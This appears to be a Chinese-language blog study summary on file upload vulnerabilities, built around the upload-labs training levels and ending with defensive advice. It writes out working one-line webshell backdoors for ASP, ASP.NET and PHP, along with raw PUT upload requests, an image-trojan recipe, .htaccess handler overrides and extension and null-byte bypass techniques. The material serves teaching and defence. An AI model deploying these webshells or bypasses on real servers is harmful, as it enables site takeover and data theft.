文件上傳知識點總結

第一章 概述

第一節 漏洞概述

 文件上傳是Web 應用的必備功能之一,比如上傳頭像顯示個性化、上傳附件共享文件、上傳腳本更新網站等。
如果服務器配置不當或者沒有進行足夠的過濾,Web 用戶就可以上傳任意文件,
包括惡意腳本文件、exe 程序等,這就造成了文件上傳漏洞。

第二節 漏洞成因

文件上傳漏洞的成因:
一方面服務器配置不當會導致任意文件上傳;
另一方面,Web 應用開放了文件上傳功能,並且對上傳的文件沒有進行足夠的限制;
再者就是,程序開發部署時候,沒有考慮到系統特性和驗證和過濾不嚴格而導致限制被繞過,上傳任意文件。

第三節 漏洞危害

上傳漏洞最直接的威脅就是上傳任意文件,包括惡意腳本、程序等。
如果Web 服務器所保存上傳文件的可寫目錄具有執行權限,那麼就可以直接上傳後門文件,導致網站淪陷。
如果攻擊者通過其他漏洞進行提權操作,拿到系統管理權限,那麼直接導致服務器淪陷。
同服務器下的其他網站無一倖免,均會被攻擊者控制。
通過上傳漏洞獲得的網站後門,就是WebShell。

第二章 相關術語

第一節 WebShell

在計算機科學中,Shell 俗稱殼(用來區別於“核”),是指“爲使用者提供操作界面”的軟件(命令解釋器)。
類似於windows 系統給的cmd.exe 或者linux 下bash 等,雖然這些系統上的命令解釋器不止一種。

WebShell 是一個網站的後門,也是一個命令解釋器,不過是以Web 方式(HTTP 協議)通信(傳遞命令消息),繼承了Web 用戶的權限。
WebShell本質上是在服務器端可運行的腳本文件,後綴名爲 .php/.asp/.aspx/.jsp  等,
也就是說WebShell 接收來自於Web 用戶的命令,然後再服務器端執行。

第二節 大馬

WebShell 也可以是大馬,也是網站木馬。
有一類WebShell 之所以叫大馬,是因爲與小馬(一句話木馬)區分開,並且代碼比較大,但是功能比較豐富。
同樣,大馬有很多種腳本格式,其功能基本相同。
每個團隊都有自己的定製大馬。以下是一個簡單的例子。
輸入密碼,密碼一般直接寫在木馬文件中。

在大馬中我們可以進行文件管理,執行系統命令等,還有一些其他定製功能。這是asp 的大馬。

第三節 小馬

小馬就是一句話木馬,因爲其代碼量比較小,就是一句簡單的代碼。
以下是各個腳本的一句話。

ASP:
<%eval request("cmd")%>
ASP.NET:
<%@ Page Language="Jscript"%>
<%eval(Request.Item["cmd"],"unsafe");%>
PHP:
<?php @eval($_REQUEST['cmd']);?>
JSP 和jspx的一句話木馬比較複雜一些,詳細可以查看文件[1.jsp]和[1.jspx]。
一句話木馬短小精悍,功能強大,但是需要配合中國菜刀或者中國蟻劍客戶端使用,
中國菜刀是一句話木馬的管理器,也是命令操作接口。
中國菜刀在連接一句話木馬的時候需要填寫密碼(實際上就是變量名)。
例如,我們上傳一個php 的一句話木馬,密碼就是[cmd]。

第四節 中國菜刀與一句話木馬配合實現了三大基本功能

@   文件管理
在中國菜刀頁面繼承Web 用戶權限可以實現文件管理,包括文件查看、上傳、下載、修改、刪除甚至運行exe 程序等。

@   虛擬終端
在中國菜刀下可以獲得類似於cmd 和bash 的命令行接口,可以執行相關命令。

@   數據庫管理
我們可以使用中國菜刀進行數據庫管理,此時需要知道連接數據庫的賬密。以MYSQL 爲例子,填寫配置,如下。
<T>MYSQL</T>          //數據庫類型
<H>localhost</H>      //數據庫地址
<U>root</U>          //數據庫的用戶
<P></P>               //數據庫的密碼,密碼爲空就不寫
<L>utf8</L>          //編碼

此時,我們就可以執行SQL 語句,管理數據庫了。

第五節 GetShell

GetShell,顧名思義,就是獲取Web 的過程和結果。當然任意文件上傳是GetShell 的主要方式,但並不是唯一途徑。

第三章 文件上傳的條件

第一節 一定的條件

  1. Web 服務器要開啓文件上傳功能,並且上傳api(接口)對外“開放”(Web 用戶可以訪問);
  2. Web 用戶對目標目錄具有可寫權限,甚至具有執行權限,一般情況下,Web 目錄都有執行權限。
  3. 要想完美利用文件上傳漏洞,就是上傳的文件可以執行,也就是Web 容器可以解析我們上傳的腳本,無論腳本以什麼樣的形式存在。
  4. 無視以上條件的情況就是服務器配置不當,開啓了PUT 方法。

第三章 策略

黑白名單策略

黑白名單是最常用的安全策略之一。
在計算機安全中,黑白名單類似於一個列表,列表中寫了一些條件或規則,
    如果“客體”在黑名單中,一律“禁止”,
    如果“客體”在白名單中,一律“允許”。類似於手機號碼的黑白名單。

如,Chrome 瀏覽器的黑白名單策略:

政策 說明
URLBlacklist ·禁止用戶訪問您已阻止的網址。不過,用戶可以訪問黑名單之外的所有網址。 設置此政策:用戶將可以自由訪問所有網址。
URLWhitelist 將此政策與 URLBlacklist 政策搭配使用,可將特定網址設爲黑名單的例外網址並允許用戶訪問。

白名單的優先級高於黑名單。您至少要在黑名單中添加一個條目,才能正常使用此政策。
不設置此政策:網址黑名單將沒有例外網址。

華爲收集安裝軟件黑白名單策略

模式 說明
白名單模式 ·檢查只能安裝的軟件,只允許終端主機安裝軟件白名單中的軟件,安裝其他軟件則屬於違規行爲。
對於白名單中的軟件,該軟件屬於必須安裝類軟件,而終端主機未安裝該軟件,則屬於違規行爲。
對於白名單中的軟件,該軟件不屬於必須安裝類軟件,而終端主機未安裝該軟件,則不屬於違規行爲。
模式 說明
白名單+黑名單模式 檢查必須安裝的軟件和禁止安裝的軟件。
 ·如果終端主機未安裝白名單中的任意一款軟件,則屬於違規行爲。
 ·如果終端主機已經安裝黑名單中的任意一款軟件,則屬於違規行爲。
·如果終端主機已經安裝白名單中的所有軟件,並且沒有安裝黑名單中的任意一款軟件,則不屬於違規行爲。

第三章 文件上傳的利用

PUT 方法上傳文件

HTTP 請求方法之一,允許想服務器直接寫入文件
Apache 如何開啓PUT 方法:

第一步 測試Apache 是否開啓了put 方法

telnet 172.16.132.161 80
----
OPTIONS / HTTP/1.1
HOST:172.16.132.161
----

第二 步 apache 開啓put 方法操作

httpd.conf 文件
	開啓模塊
----
LoadModule dav_module modules/mod_dav.so
LoadModule dav_fs_module modules/mod_dav_fs.so
----
	啓用模塊
----
<Directory />
    Options +Indexes +FollowSymLinks +ExecCGI
    AllowOverride All
    Order allow,deny
    Allow from all
    Require all granted
	DAV On
</Directory>
----
	開啓文件鎖
----
DavLockDB c:\phpstudy\www\DavLock
----

第三步 上傳文件

----
PUT /info.php HTTP/1.1
HOST: 172.16.132.161
Content-Length: 18
 
<?php phpinfo();?>
----

第四章 文件上傳的繞過

第一節 前端限制與繞過

有些Web 應用的文件上傳功能,僅在前端用JS 腳本做了檢測,如檢測文件後綴名等。upload-labs 第一關,以下是經典的代碼。
<script type="text/javascript">
    function checkFile() {
        var file = document.getElementsByName('upload_file')[0].value;
        if (file == null || file == "") {
            alert("請選擇要上傳的文件!");
            return false;
        }
        //定義允許上傳的文件類型
        var allow_ext = ".jpg|.png|.gif";
        //提取上傳文件的類型
        var ext_name = file.substring(file.lastIndexOf("."));
        //判斷上傳文件類型是否允許上傳
        if (allow_ext.indexOf(ext_name) == -1) {
            var errMsg = "該文件不允許上傳,請上傳" + allow_ext + "類型的文件,當前文件類型爲:" + ext_name;
            alert(errMsg);
            return false;
        }
    }
</script>
此段JS 代碼採用白名單策略,檢測文件後綴名。配合表單事件使用。
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
    <p>請選擇要上傳的圖片:<p>
    <input class="input_file" type="file" name="upload_file"/>
    <input class="button" type="submit" name="submit" value="上傳"/>
</form>
前端JS 腳本檢測的安全防禦是十分薄弱的。可以非常輕鬆的繞過。
方法一:因爲JS 腳本的運行環境是瀏覽器,我們可以修改JS 代碼,甚至刪除表單事件。
方法二:使惡意文件後綴名符合白名單策略,用Burp 掛代理抓包,然後修改文件後綴名即可。

對於文件上傳,只從Web 前端進行檢測顯然防護不足,那麼服務器端檢測就特別重要了。一般服務器端檢測,採用黑白名單策略,檢測如下內容。

第二節 服務器端檢測–MIME 類型

MIME (Multipurpose Internet Mail Extensions) 是描述消息內容類型的因特網標準。
MIME 消息能包含文本、圖像、音頻、視頻以及其他應用程序專用的數據。
常見的MIME 類型如下
文件擴展名 Mime-Type
.js application/x-javascript
.html text/html
.jpg image/jpeg
.png image/png
.pdf application/pdf

在HTTP 協議中,使用Content-Type 字段表示文件的MIME 類型。
當我們上傳文件的時候,抓到HTTP 數據包。

在服務器端會檢測Content-Type 類型,upload-labs 第二關,經典的代碼如下
if (isset($_POST['submit'])) {
    if (file_exists($UPLOAD_ADDR)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
                $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
                $is_upload = true;
            }
        } else {
            $msg = '文件類型不正確,請重新上傳!';
        }
    } else {
        $msg = $UPLOAD_ADDR.'文件夾不存在,請手工創建!';
    }
}

由於服務器在檢測Content-Type 類型的時候,取得的變量來自於用戶,所以可以用Burp 抓包,修改這個字段,使其合法,即可繞過限制上傳任意文件。

訪問上傳的文件。

第二節 服務器端檢測–文件內容

除了檢測上傳文件的Content-Type 類型,爲了保持安全性,服務器端還會檢測文件內容。
PHP 中有一個函數getimagesize(),這個函數本意是檢查圖片的大小,但是在檢查之前,該函數會判斷目標文件是否是一張圖片。
因此,可以用該函數來檢測文件的內容。upload-load 14 關。
function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

對於文件內容檢測,我們可以通過製作上傳圖片木馬繞過。

------
GIF89a
------
------
copy smile.jpg/b+info.php/a smile_info.jpg
------


文件幻數
png	89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
jpg	FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 01 2C 
gif	47 49 46 38 39 61 F1 00 2C 01 F7 00 00 64 32 33

第三節 服務器端檢測–後綴名

服務器端還會檢測文件後綴名。
服務器端在檢測文件名的時候,依然會採用黑白名單策略。黑名單策略,不允許上傳php|asp|aspx|jsp...等可執行腳本的文件;白名單策略,只允許上傳jpg|gif|png|doc|rar… 等格式的文件。

@   黑名單
代碼中$deny_ext 數據就是一個黑名單,數組元素就是不允許上傳的類型。
對於黑名單,我們可以尋找其他可允許上傳的類型來繞過限制。

可以執行腳本後綴名

.php .php2 .php3 .php5 .phtml
.asp .aspx .ascx .ashx .asa	.cer
.jsp .jspx
@   白名單
對於後綴名白名單策略,我們只能上傳在白名單內的文件後綴名。

第四節 00 截斷

00 就是Null(空)字符,URL 中表現爲%00,00 截斷會導致文件上傳路徑截斷。
我們以upload-labs 第十一關爲例子說明這個問題。
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        }
        else{
            $msg = '上傳失敗!';
        }
    }
    else{
        $msg = "只允許上傳.jpg|.png|.gif類型文件!";
    }
}

第五節 .htaccess 攻擊

.htaccess 是Apache 服務器的分佈式配置文件,該配置文件會覆蓋Apache 服務器的全局配置,作用域是當前目錄及其子目錄。
如果一個Web 應用允許上傳.htaccess 文件,那就意味着攻擊者可以更改Apache 的配置,這是十分危險。         
.htaccess 攻擊想象空間非常大。
首先看Apache 的配置,允許.htaccess 文件覆蓋掉Apache 的配置。
  • 將.png 文件當作PHP 文件解析
    將以下代碼寫入文件,並保存成.htaccess 名字,放到測試目錄下

AddType application/x-httpd-php .png

在同一目錄下創建一個文件[info.png],文件內容如下
<?php phpinfo(); ?>
當我們訪問該文件時,[info.png] 內的PHP 代碼將會被執行。

第六節 文件名中包含php 關鍵字

當文件名[info.php.png] 中包含關鍵字[.php],並且.htaccess 文件內容如下,info.php.png 中的代碼會被執行。

AddHandler php5-script php

第七節 匹配文件名

以下配置是匹配文件名[ajest],找打該文件,並執行其中的PHP 代碼

<FilesMatch "ajest">
SetHandler application/x-httpd-php
</FilesMatch>
  • upload-labs 第四關
    先上傳[.htaccess] 文件。

    再上傳[ajest]

第五章 常見文件上傳漏洞

第一節 Web 容器解析漏洞

Web容器解析漏洞,就是Web 容器在解析腳本出現的"bug"。

  • Apache 解析漏洞
    info.php.xxx.xx.x

  • IIS6.0 解析漏洞
    @ asp;.jpg
    time.asp;1.jpg
    @ 1.asp/time.jpg

  • PHP CGI 解析漏洞
    @ IIS7.0/7.5
    IIS7.0/7.5+PHP 環境
    讓iis7.0/7.5 支持PHP 環境
    http://localhost:8000/info.png/1.php
    @ Nginx 解析漏洞
    /info.png/1.php
    cgi.fix_pathinfo

第二節 Nginx 空字節漏洞

  • Nginx 文件名邏輯漏洞(CVE-2013-4745)

第三節 常見編輯器上傳

編輯器就是網站後臺編輯網頁的在線編輯器,會自動集成文件上傳功能,這些編輯器的某些版本也存在文件上傳漏洞。
  • ewebeditor
  • fckeditor

第四節 常見CMS 上傳

CMS 又叫網站內容管理系統(網站的模板,快速建站,二次開發),市面上很多開源的CMS 的歷史版本中有很多存在文件上傳漏洞,但是產生文件上傳漏洞的原因不盡相同,情景也不似本章上文中介紹的那樣“直白”。類似的CMS 有很多,比如常見的dedeCMS、PHPcms 等。

第六章 文件上傳漏洞的防禦

關於文件上傳的防禦,防住危險的腳本類型是最基本的防禦,最理想的是能夠過濾掉圖片馬中的惡意代碼。如果一個Web 應用能夠上傳圖片木馬,那麼我們認爲這個Web 應用是不安全的。文件上傳漏洞的防禦主要從以下幾個方面考慮。

第一節 代碼角度

@   採用白名單策略,嚴格限制上傳文件的後綴名。
@   進行二次渲染,過濾掉圖片馬中的惡意代碼。
@   上傳文件重命名,儘量少的從客戶端獲取信息。
@   避免文件包含漏洞。
@   嚴格處理文件路徑,防禦00 截斷漏洞,避開空格、點 、::$DATA 等windows 特性。

第二節 服務器角度

@   及時更新Web 容器,防止解析漏洞的產生。
@   可寫目錄不給執行權限。

參考

IIS WebDAV安全配置
https://www.2cto.com/article/201307/228165.html
Upload-labs通關手冊
https://xz.aliyun.com/t/2435
解析漏洞總結
https://www.secpulse.com/archives/3750.html
發佈了261 篇原創文章 · 獲贊 50 · 訪問量 9萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章